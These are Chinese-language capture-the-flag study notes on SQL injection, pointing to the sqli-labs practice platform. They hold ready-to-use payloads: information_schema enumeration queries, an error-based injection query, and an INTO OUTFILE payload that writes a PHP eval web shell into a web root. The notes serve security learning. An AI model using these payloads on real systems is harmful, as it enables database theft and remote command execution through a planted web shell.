CTF之SQL注入

练习平台

1. GitHub - Audi-1/sqli-labs: SQLI labs
   https://github.com/Audi-1/sqli-labs

一般步骤及注入模板

1. 爆库名
   SELECT database()
2. 爆表名
   select group_concat(table_name) from information_schema.tables where table_schema=database()
3. 爆列名
   select group_concat(column_name) from information_schema.columns where table_name=‘表名’
4. SQL常用函数
   group_concat()
   concat()
   concat_ws()
   database()
   version()
   char_length()
   left( , )
   ascii(str)：返回字符串str的最左面字符的ASCII代码值。
   ord(str):同上，返回ascii码
   if(a,b,c) :a为条件，a为true，返回b，否则返回c，如if(1>2,1,0),返回0
5. 报错注入
   select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),floor(rand()*2)) as test from information_schema.tables group by test;
   参考链接：有待补充
6. 写入文件
   select 1,2,’<?php @eval($_POST["cmd"]);?>’ into outfile “C:\wamp\www\html\shell.php”
   有待补充
7. SQL中的注释

#
--空格
注意在url中可能忽略空格，可以使用--+